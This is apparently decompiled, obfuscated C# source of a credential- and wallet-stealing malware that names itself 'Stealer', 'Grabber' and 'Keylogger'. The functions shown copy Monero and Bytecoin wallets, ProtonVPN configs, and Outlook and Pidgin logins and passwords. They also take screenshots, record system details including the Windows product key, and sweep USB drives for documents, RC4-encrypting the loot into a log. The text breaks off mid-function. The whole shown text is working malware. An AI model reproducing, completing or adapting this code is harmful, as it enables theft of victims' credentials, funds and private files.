// Token: 0x0600015B RID: 347 RVA: 0x0000D930 File Offset: 0x0000BB30
public static void tmethod_152(string str_0)
{
try
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("monero-project").OpenSubKey("monero-core"))
{
try
{
string text = registryKey.GetValue("wallet_path").ToString().Replace("/", "\\");
File.Copy(text, str_0 + Class_55.field_1 + text.Split(new char[]
{
'\\'
})[text.Split(new char[]
{
'\\'
}).Length - 1]);
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + Class_55.field_1 + text.Split(new char[]
{
'\\'
})[text.Split(new char[]
{
'\\'
}).Length - 1], Class_47.RC4(File.ReadAllBytes(text)));
Class_55.field_0++;
Class_54.field_0++;
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x060000FE RID: 254 RVA: 0x00008F24 File Offset: 0x00007124
public static List <string> GetWall(string path, string pattern)
{
List <string> list = new List <string>();
try
{
list.AddRange(from s in Class_58.smethod_160(path, pattern, SearchOption.TopDirectoryOnly)
where Class_47.\u0339\u0020\u0360\u0020\u0489\u031D\u0353\u0355\u0309\u031B\u0317\u032F\u0349t\u031B\u0E47agscwneidpvfwade\u0E47\u030D\u0339\u0349\u035B\u0310\u035D\u030B\u0368\u0339\u032F\u0020\u0326\u034E\u0E47\u0347vslhdzgbbwcktuah.Contains(Path.GetExtension(s).ToLower())
select s);
foreach (string path2 in Directory.GetDirectories(path))
{
try
{
list.AddRange(Class_47.GetWall(path2, pattern));
}
catch
{
}
}
}
catch
{
}
return(list);
}
// Token: 0x060000FD RID: 253 RVA: 0x00008E74 File Offset: 0x00007074
public static List <string> GetFilesDoc(string path, string pattern)
{
List <string> list = new List <string>();
try
{
list.AddRange(from s in Class_58.smethod_160(path, pattern, SearchOption.TopDirectoryOnly)
where Class_84.\u0489\u0E47\u034F\u0020\u0348\u032F\u032B\u0315\u0339\u036F\u0020\u0354\u0331\u030E\u032F\u0020nhxjglgcxywtuowp\u0342\u0317\u0347\u0020i\u0303\u035F\u0306\u0020\u0331\u032F\u032B\u0020\u033C\u0E47\u0020vdtjdpxsqbpulbec.Contains(Path.GetExtension(s).ToLower())
select s);
foreach (string path2 in Directory.GetDirectories(path))
{
try
{
list.AddRange(Class_47.GetFilesDoc(path2, pattern));
}
catch
{
}
}
}
catch
{
}
return(list);
}
// Token: 0x06000052 RID: 82 RVA: 0x000046C0 File Offset: 0x000028C0
public static void tmethod_42(string str_0)
{
ComputerInfo computerInfo = new ComputerInfo();
Size size = Screen.PrimaryScreen.Bounds.Size;
try
{
string text = "";
string[] array = new string[35];
array[0] = text;
array[1] = "==================================================\n Operating system: ";
int num = 2;
OperatingSystem osversion = Environment.OSVersion;
array[num] = ((osversion != null) ? osversion.ToString() : null);
array[3] = " | ";
array[4] = computerInfo.OSFullName;
array[5] = "\n PC user: "******"/";
array[8] = Environment.UserName;
array[9] = "\n WinKey: ";
array[10] = Class_9.smethod_30("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "DigitalProductId");
array[11] = "\n==================================================\n Screen resolution: ";
int num2 = 12;
Size size2 = size;
array[num2] = size2.ToString();
array[13] = "\n Current time Utc: ";
array[14] = DateTime.UtcNow.ToString();
array[15] = "\n Current time: ";
array[16] = DateTime.Now.ToString();
array[17] = "\n==================================================\n CPU: ";
array[18] = Class_14.xmethod_41();
array[19] = "\n RAM: ";
array[20] = Class_14.pmethod_39();
array[21] = "\n GPU: ";
array[22] = Class_14.lmethod_38();
array[23] = "\n BIOS: ";
array[24] = Class_14.smethod_40();
array[25] = "\n ==================================================\n IP Geolocation: ";
array[26] = Class_47.IP();
array[27] = " ";
array[28] = Class_47.Country();
array[29] = "\n Log Date: ";
array[30] = Class_47.\u033B\u033C\u0355\u0314\u0330\u0316\u0326\u0327\u0349\u035Ei\u036B\u031D\u0363\u0322\u0367hzhsdavyvmobkojd\u0020\u0309\u033F\u0362\u0020\u0347\u036B\u0366\u0347\u036B\u0356\u0349\u0347\u035C\u0306\u032Djkgcmitutxmwdtwk;
array[31] = "\n Version build: ";
array[32] = Class_103.field_0;
array[33] = "\n HWID: ";
array[34] = Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz;
text = string.Concat(array);
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\System_Information.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
catch
{
}
}
// Token: 0x06000100 RID: 256 RVA: 0x00009044 File Offset: 0x00007244
public static void DeleteDirectory(string path)
{
if (Class_58.tmethod_162(path))
{
string[] array = Directory.GetFiles(path);
for (int i = 0; i < array.Length; i++)
{
Class_58.vmethod_165(array[i]);
}
array = Directory.GetDirectories(path);
for (int i = 0; i < array.Length; i++)
{
Class_47.DeleteDirectory(array[i]);
}
Class_58.cmethod_164(path);
}
}
// Token: 0x060000FF RID: 255 RVA: 0x00008FD4 File Offset: 0x000071D4
public static long CalculateDirectorySize(DirectoryInfo directory, bool includeSubdirectories)
{
long num = 0L;
foreach (FileInfo fileInfo in directory.GetFiles())
{
num += fileInfo.Length;
}
if (includeSubdirectories)
{
foreach (DirectoryInfo directory2 in directory.GetDirectories())
{
num += Class_47.CalculateDirectorySize(directory2, true);
}
}
return(num);
}
// Token: 0x06000220 RID: 544 RVA: 0x00011D38 File Offset: 0x0000FF38
public static void Copy()
{
if (Class_84.\u034D\u0E47\u035A\u0320\u0345\u0346\u036C\u0E47\u0360\u0349\u0020\u035F\u0331\u034D\u036F\u033Bincnccdbjzxtctea\u0351\u032F\u0302\u0020\u030D\u0320\u036C\u0346\u036D\u0347\u034D\u0307\u0489\u0355\u033C\u033Dgpbgrconmginurco && Class_84.\u032C\u0E47\u0489\u036F\u0E47\u0302\u0313\u0349\u0350\u0E47\u0E47\u0316\u0E47\u032E\u035F\u030Amaodzqqqmkexevnq\u0323\u031F\u0347\u0306\u0020\u030C\u0332\u032F\u0355\u0363\u030C\u033D\u0354\u0324\u032F\u0344xygyjfcukmrwafsc)
{
foreach (DriveInfo driveInfo in DriveInfo.GetDrives())
{
if (driveInfo.IsReady && driveInfo.DriveType == DriveType.Removable)
{
Class_5.field_5.AddRange(Class_47.GetFilesDoc(driveInfo.RootDirectory.ToString(), "*.*"));
if (!Class_58.tmethod_162(Class_47.\u035F\u0334\u0361\u0342\u0349\u0332\u0317\u033F\u0332\u0304\u0353\u0369\u0331\u0020\u036F\u032Favwbjaawjhovchqj\u035B\u0020\u0308\u0020\u0317\u0339\u0368\u0020\u034E\u0355\u0366\u032F\u0355\u0489\u036C\u0363ukaxxbymjidqsigk))
{
Class_58.gmethod_163(Class_47.\u035F\u0334\u0361\u0342\u0349\u0332\u0317\u033F\u0332\u0304\u0353\u0369\u0331\u0020\u036F\u032Favwbjaawjhovchqj\u035B\u0020\u0308\u0020\u0317\u0339\u0368\u0020\u034E\u0355\u0366\u032F\u0355\u0489\u036C\u0363ukaxxbymjidqsigk);
}
Class_5.dmethod_6(Class_5.field_5, Class_5.field_9, Class_5.field_8, Class_5.field_10, "Usb", Class_84.\u0325\u0312\u0345\u0317\u0317\u033F\u0364\u0020\u036D\u036B\u0020\u0308\u034E\u033C\u032F\u034Abkevbflwouikidoj\u0358\u0302\u0E47\u0020\u0309\u0354\u0368i\u0E47\u0302\u0339\u035E\u0020\u032C\u0358\u0E47qoxjowjkszltpxxq, "USB\\");
}
}
}
}
// Token: 0x06000101 RID: 257 RVA: 0x000090AC File Offset: 0x000072AC
// Note: this type is marked as 'beforefieldinit'.
static Class_47()
{
string u030A_u0330_u0314_u0E47_u036D_u0020_u0331_u036B_u0310_u0341_u0353_u0333_u035F_u0368_u0333_u0369fscvyixozutspogr_u0316_u0020_u0E47_u0340_u0020_u0325_u035A_u0342_u032F_u0366_u0303_u036D_u0344_u0302_u0338_u032Cmiwjanndutheeold = Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold;
string str = "\\";
object obj = Class_47.random_string();
Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm = u030A_u0330_u0314_u0E47_u036D_u0020_u0331_u036B_u0310_u0341_u0353_u0333_u035F_u0368_u0333_u0369fscvyixozutspogr_u0316_u0020_u0E47_u0340_u0020_u0325_u035A_u0342_u032F_u0366_u0303_u036D_u0344_u0302_u0338_u032Cmiwjanndutheeold + str + ((obj != null) ? obj.ToString() : null);
Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr = "Stealer";
Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq = Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Browsers";
Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk = Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq + "\\Cookies";
Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli = Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq + "\\Passwords";
Class_47.\u0E47\u0020\u034D\u0020\u0E47\u035B\u0349\u0E47\u0358\u035C\u036B\u0020\u036B\u0364\u031D\u033Emirhvahtmnvwxjwq\u0E47\u0355\u0020\u0335\u0E47\u034E\u0323\u0349\u0340\u0E47\u0307\u030B\u0020\u030B\u0360\u035Bgkliuuhtpiuahszp = Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq + "\\Autofills";
Class_47.\u0300\u035A\u0020\u0339\u0334\u0322\u0349\u0489\u0020\u0020\u0020\u0308\u0E47\u0332\u0314\u0020hvxeyxbeqqqeytcp\u033C\u0346\u0309\u0340\u033D\u0307\u0020\u035F\u0020\u032C\u0359\u0329\u0331\u0354\u034E\u0358cpmlnjibutstbbmq = Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq + "\\Downloads";
Class_47.\u0310\u0353\u0300\u0339\u0305i\u0489\u0364\u0020\u0359\u0E47\u031A\u0310\u033Ct\u0367wrectesdtcntxetu\u0334\u0362\u0345t\u032A\u0316\u0020\u036B\u0307\u0342\u0020\u0020\u0353\u033F\u032F\u032Fdcenxrkropmfcmbt = Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq + "\\History";
Class_47.\u0339\u0020\u0332\u0324\u0349\u0020\u0359\u0020\u0368t\u034E\u0342\u0330\u0331\u0020\u0329apcrmahbbefdsscl\u0349\u0353\u0307\u034F\u0347\u035B\u032C\u0352\u032B\u0331\u0020\u0325\u0330\u0326\u0020\u031Dagehontzszdfjqjv = Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq + "\\Cards";
Class_47.\u035F\u0334\u0361\u0342\u0349\u0332\u0317\u033F\u0332\u0304\u0353\u0369\u0331\u0020\u036F\u032Favwbjaawjhovchqj\u035B\u0020\u0308\u0020\u0317\u0339\u0368\u0020\u034E\u0355\u0366\u032F\u0355\u0489\u036C\u0363ukaxxbymjidqsigk = Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm + "\\Grab";
Class_47.\u033B\u033C\u0355\u0314\u0330\u0316\u0326\u0327\u0349\u035Ei\u036B\u031D\u0363\u0322\u0367hzhsdavyvmobkojd\u0020\u0309\u033F\u0362\u0020\u0347\u036B\u0366\u0347\u036B\u0356\u0349\u0347\u035C\u0306\u032Djkgcmitutxmwdtwk = DateTime.Now.ToString("MM/dd/yyyy h:mm:ss tt");
Class_47.\u0367\u0309\u036F\u0320\u0340\u036A\u0332\u0020\u0317\u0020\u032C\u034F\u0020\u0E47\u033D\u0331tsitznjoxugionih\u033E\u035C\u0314\u035D\u0020\u0334\u0353\u0318\u035E\u0315\u035D\u036C\u030C\u0346\u0306\u0316tcqobbemddgicxmi = DateTime.Now.ToString("MM/dd/yyyy");
}
// Token: 0x0600003F RID: 63 RVA: 0x00003BAC File Offset: 0x00001DAC
public static void xmethod_31(string str_0)
{
try
{
string text = Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm + "\\ProtonVPN";
if (Directory.Exists(text))
{
string[] directories = Directory.GetDirectories(text ?? "");
Directory.CreateDirectory(str_0 + "\\Vpn\\ProtonVPN\\");
foreach (string text2 in directories)
{
if (text2.StartsWith(text + "\\ProtonVPN\\ProtonVPN.exe"))
{
string name = new DirectoryInfo(text2).Name;
string[] directories2 = Directory.GetDirectories(text2);
Directory.CreateDirectory(string.Concat(new string[]
{
str_0,
"\\Vpn\\ProtonVPN\\",
name,
"\\",
new DirectoryInfo(directories2[0]).Name
}));
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(string.Concat(new string[]
{
str_0,
"\\Vpn\\ProtonVPN\\",
name,
"\\",
new DirectoryInfo(directories2[0]).Name,
"\\user.config"
}), Class_47.RC4(File.ReadAllBytes(directories2[0] + "\\user.config")));
Class_10.field_0++;
}
}
}
}
catch
{
}
}
// Token: 0x06000013 RID: 19 RVA: 0x00002600 File Offset: 0x00000800
public static void vmethod_5()
{
Class_5.cmethod_4(Class_5.NClass_0.field_3, 0U, IntPtr.Zero, out Class_5.field_0);
if (Class_84.\u034D\u0E47\u035A\u0320\u0345\u0346\u036C\u0E47\u0360\u0349\u0020\u035F\u0331\u034D\u036F\u033Bincnccdbjzxtctea\u0351\u032F\u0302\u0020\u030D\u0320\u036C\u0346\u036D\u0347\u034D\u0307\u0489\u0355\u033C\u033Dgpbgrconmginurco)
{
if (Class_84.\u035E\u0313\u0340\u032A\u032E\u0E47\u0338\u0020\u0020\u0331\u0020\u0020\u0342\u0346h\u0020ffxsdukgzbrjaatg\u0369\u0356\u030E\u0306\u0020\u034D\u0328\u033C\u031B\u0E47\u0316\u036D\u0347\u0307\u0020\u032Ciqhadenfkserygzw)
{
Class_5.field_4.AddRange(Class_47.GetFilesDoc(Class_47.\u035C\u034B\u0330\u0342\u0020\u0367\u035B\u035E\u0344\u035A\u033A\u0020t\u036D\u0300\u035Anyexpuugwbwudjdh\u0353t\u0327\u0356\u035C\u033B\u032E\u0E47\u0358\u0020\u0306\u0327\u0300\u035A\u036D\u0369mjllfsrrkysmqbid, "*.*"));
}
if (Class_84.\u0E47\u0331\u0020\u0328\u0E47\u034E\u0326\u032F\u0341\u0339\u0363\u032F\u0337\u0308\u033E\u032Cxthbohwsoizgbbgf\u0020\u036B\u0315\u0304\u035F\u031F\u032F\u0353\u0020\u0368\u0489\u0489\u033D\u0E47\u035C\u0329rfjgdofmxdfuheyk)
{
Class_5.field_4.AddRange(Class_47.GetFilesDoc(Class_47.\u032B\u0E47\u0341\u034D\u0357\u0308\u0020\u033D\u030C\u0304\u0020\u032F\u0331\u0362\u0307\u0320ywzuunlvukgjnxfb\u0302\u0333\u0020\u0345\u0020\u0330\u0332\u035F\u0325\u030E\u0324\u0E47\u032E\u033C\u036D\u0020nmyylhulqdujhspx, "*.*"));
}
if (Class_84.\u035E\u0020\u0357\u0340\u0020\u0E47\u0020\u030E\u0326\u0020\u0020\u0302\u033F\u032Fc\u0365tklfhqplfubvkgyw\u0324\u0342\u0327\u0345\u035F\u0338\u0324\u0353\u0369\u0342\u0305\u0369\u0359\u0339\u0020\u0E47wpenglwhahmnhipe)
{
Class_5.field_4.AddRange(Class_47.GetFilesDoc(Class_47.\u0316\u032E\u033C\u0E47\u0306\u034A\u0363\u034D\u0308\u0E47\u035B\u0322\u0020\u0020\u035D\u033Fmdzhjsaihzdpzslft\u0E47\u0333\u0317\u0311\u033A\u036B\u032C\u0347\u032C\u0364\u0312\u0020\u0E47\u0020\u0E47mozqkdlfdhqnsnly, "*.*"));
}
if (Class_84.\u0325\u0323\u035B\u0020\u0020\u0361\u035B\u0368\u0329\u0020\u032F\u036D\u0363\u0312\u033C\u0342iskarnyztzzpyjmb\u0E47\u033F\u0309\u031A\u0369\u0020\u0332\u0E47\u0020\u0356\u0304\u035C\u036F\u0315\u0020aqblnwjeugzcpirrh)
{
Class_5.field_4.AddRange(Class_47.GetFilesDoc(Class_5.field_0, "*.*"));
}
}
Class_5.field_6.AddRange(Class_47.GetWall(Class_47.\u036C\u0329\u032F\u0020\u032F\u0312\u0020i\u036B\u034B\u0358\u033C\u0369\u035E\u035F\u035Adkcrbdpkfpkxmxzn\u0304l\u031D\u0339\u0331\u0366\u0346\u0344\u0348\u0317\u0332\u032E\u0363h\u0020\u0354latwzfwxbtsjdydt, "*.*"));
}
// Token: 0x0600015E RID: 350 RVA: 0x0000DAA8 File Offset: 0x0000BCA8
public static void gmethod_153(string str_0)
{
string text = "";
string[] array = new string[]
{
"Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
"Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
"Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"
};
string[] strDizi_ = new string[]
{
"SMTP Email Address",
"SMTP Server",
"POP3 Server",
"POP3 User Name",
"SMTP User Name",
"NNTP Email Address",
"NNTP User Name",
"NNTP Server",
"IMAP Server",
"IMAP User Name",
"Email",
"HTTP User",
"HTTP Server URL",
"POP3 User",
"IMAP User",
"HTTPMail User Name",
"HTTPMail Server",
"SMTP User",
"POP3 Password2",
"IMAP Password2",
"NNTP Password2",
"HTTPMail Password2",
"SMTP Password2",
"POP3 Password",
"IMAP Password",
"NNTP Password",
"HTTPMail Password",
"SMTP Password"
};
foreach (string str_ in array)
{
text += Class_56.cmethod_154(str_, strDizi_);
}
try
{
if (text != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + Class_56.field_0 + "\\Outlook.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text + "\r\n")));
}
}
catch
{
}
}
// Token: 0x060001C7 RID: 455 RVA: 0x0000F448 File Offset: 0x0000D648
public static void dmethod_236(string str_0, string str_1)
{
try
{
if (File.Exists(str_0))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(new XmlTextReader(str_0));
foreach (object obj in xmlDocument.DocumentElement.ChildNodes)
{
XmlNode xmlNode = (XmlNode)obj;
string innerText = xmlNode.ChildNodes[0].InnerText;
string innerText2 = xmlNode.ChildNodes[1].InnerText;
string innerText3 = xmlNode.ChildNodes[2].InnerText;
if (string.IsNullOrEmpty(innerText) || string.IsNullOrEmpty(innerText2) || string.IsNullOrEmpty(innerText3))
{
break;
}
Class_74.field_3 = Class_74.field_3 + "Protocol: " + innerText + Environment.NewLine;
Class_74.field_3 = Class_74.field_3 + "Login: "******"Password: "******"\\Jabber\\Pidgin\\Pidgin.log", Class_47.RC4(Encoding.UTF8.GetBytes(Class_74.field_3)));
Class_74.field_3 = "";
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x0600000F RID: 15 RVA: 0x000024B4 File Offset: 0x000006B4
public static void gmethod_3(string str_0)
{
try
{
if (Directory.Exists(Class_4.field_1))
{
string[] files = Directory.GetFiles(Class_4.field_1);
int num2;
int num = num2 = -4;
if (1535033085 == 1535033085)
{
num2 = num + 4;
}
int num3;
int num5;
for (int i = num2; i < files.Length; i = num3 + num5)
{
string path = files[i];
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + Class_4.field_2 + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
num3 = i;
int num4 = num5 = -3;
if (1402976858 == 1402976858)
{
num5 = num4 + 4;
}
}
int num6 = Class_4.field_0;
int num8;
int num7 = num8 = -3;
if (1387334314 == 1387334314)
{
num8 = num7 + 4;
}
Class_4.field_0 = num6 + num8;
int num9 = Class_54.field_0;
int num11;
int num10 = num11 = -3;
if (359106911 == 359106911)
{
num11 = num10 + 4;
}
Class_54.field_0 = num9 + num11;
}
}
catch
{
}
}
// Token: 0x060002F3 RID: 755 RVA: 0x000162A0 File Offset: 0x000144A0
public static void cmethod_414(string str_0)
{
try
{
int width = Screen.PrimaryScreen.Bounds.Width;
int height = Screen.PrimaryScreen.Bounds.Height;
Bitmap bitmap = new Bitmap(width, height);
Graphics.FromImage(bitmap).CopyFromScreen(0, 0, 0, 0, bitmap.Size);
byte[] data = Class_114.vmethod_415(bitmap);
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\ScreenShot_" + Class_47.\u0367\u0309\u036F\u0320\u0340\u036A\u0332\u0020\u0317\u0020\u032C\u034F\u0020\u0E47\u033D\u0331tsitznjoxugionih\u033E\u035C\u0314\u035D\u0020\u0334\u0353\u0318\u035E\u0315\u035D\u036C\u030C\u0346\u0306\u0316tcqobbemddgicxmi + ".Jpeg", Class_47.RC4(data));
}
catch
{
}
}
// Token: 0x060001E8 RID: 488 RVA: 0x000107CC File Offset: 0x0000E9CC
public static void pmethod_239(string str_0)
{
try
{
if (Directory.Exists(Class_80.field_1))
{
foreach (string path in Directory.GetFiles(Class_80.field_1))
{
if (Path.GetExtension(path).Equals(".wallet"))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Bytecoin\\" + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
}
}
Class_80.field_0++;
Class_54.field_0++;
}
}
catch
{
}
}
// Token: 0x060001F2 RID: 498 RVA: 0x00010BC0 File Offset: 0x0000EDC0
public static void dmethod_246(string str_0, string str_1)
{
Class_82.NClass_1 nclass_ = new Class_82.NClass_1();
nclass_.field_4 = "Grabber";
nclass_.field_5 = "Logs";
nclass_.field_6 = "Keylogger";
nclass_.field_7 = Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm + "_" + Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf + Class_47.CountryCOde();
nclass_.field_3 = string.Concat(new string[]
{
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
Class_47.CountryCOde(),
" PASS:"******" CC:",
Class_49.field_6.ToString(),
" WALLETS:",
(Class_5.field_3 + Class_54.field_0).ToString(),
" RDP:",
Class_5.field_2.ToString()
});
Class_233 arg_ = Class_82.field_0.smethod_1560().Single(new Func <Class_233, bool>(Class_82.NClass_2.field_8.nmethod_11));
if (str_1 != "k")
{
Class_233 class_ = Class_82.field_0.xmethod_1561(arg_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_4));
if (class_ == null)
{
class_ = Class_82.field_0.gmethod_1563(nclass_.field_3, arg_);
}
Class_233 class_2 = Class_82.field_0.xmethod_1561(class_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_5));
Class_233 class_3 = Class_82.field_0.xmethod_1561(class_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_6));
if (class_2 == null)
{
